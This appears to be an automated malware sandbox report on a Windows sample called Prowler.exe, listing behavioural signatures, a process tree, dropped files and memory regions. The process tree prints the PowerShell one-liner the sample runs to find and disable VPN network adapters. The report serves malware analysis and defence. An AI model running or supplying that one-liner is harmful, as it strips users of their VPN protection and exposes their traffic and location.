Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 17:31

General

  • Target
    Prowler.exe
  • Size 113.8MB
  • Sample260815-v3vrxaem9w
  • SHA256 c59f6ca53f92de9059dad6d549347bd485ec1d75aa490eaba5b87c4166f6f324
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 2 IoCs
  • Looks up external IP address via web service 1 TTPs 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Prowler.exe
    "C:\Users\Admin\AppData\Local\Temp\Prowler.exe"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1140
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6136

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_3tvu1lps.jgy.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3tvu1lps.jgy.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        evb19B9.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\evb19B9.tmp
        • Size 1KB
        • SHA256 9c3929d4c93a7d3b7e84b1c2bce93eceea042bc71684b9565e8116f65fa1c9d1
        • MD5 SHA1 SHA512 TLSH

        evb19E9.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\evb19E9.tmp
        • Size 1KB
        • SHA256 a46a0b561883026b64a1d9f296ac9bcaa798d1c348eaba2efceda6d72d8d1e73
        • MD5 SHA1 SHA512 TLSH

        memory/1140-59-0x000001C6B23A0000-0x000001C6B23BE000-memory.dmp

        memory/1140-49-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-61-0x000001C6B2390000-0x000001C6B239A000-memory.dmp

        memory/1140-60-0x000001C6B2630000-0x000001C6B26E2000-memory.dmp

        memory/1140-45-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-64-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-48-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-62-0x000001C6B23E0000-0x000001C6B23FE000-memory.dmp

        memory/1140-52-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-56-0x000001C69A1C0000-0x000001C69A1E2000-memory.dmp

        memory/1140-53-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-50-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-51-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-47-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/1140-46-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-20-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-16-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-25-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-27-0x0000000180000000-0x000000018033F000-memory.dmp

        memory/4856-24-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-28-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-29-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-30-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-33-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-34-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-35-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-36-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-39-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-42-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-21-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-23-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-22-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-19-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-0-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-18-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-17-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-26-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-15-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-14-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-12-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-13-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-11-0x0000000010000000-0x0000000010009000-memory.dmp

        memory/4856-9-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-7-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp

        memory/4856-66-0x0000000180000000-0x000000018033F000-memory.dmp

        memory/4856-65-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-68-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-71-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-4-0x0000000180000000-0x000000018033F000-memory.dmp

        memory/4856-1-0x00007FFBEC7BF000-0x00007FFBEC7C0000-memory.dmp

        memory/4856-99-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-81-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-84-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-87-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-90-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-93-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/4856-96-0x0000000140000000-0x000000014068F000-memory.dmp

        memory/6136-79-0x0000016E45EE0000-0x0000016E45F92000-memory.dmp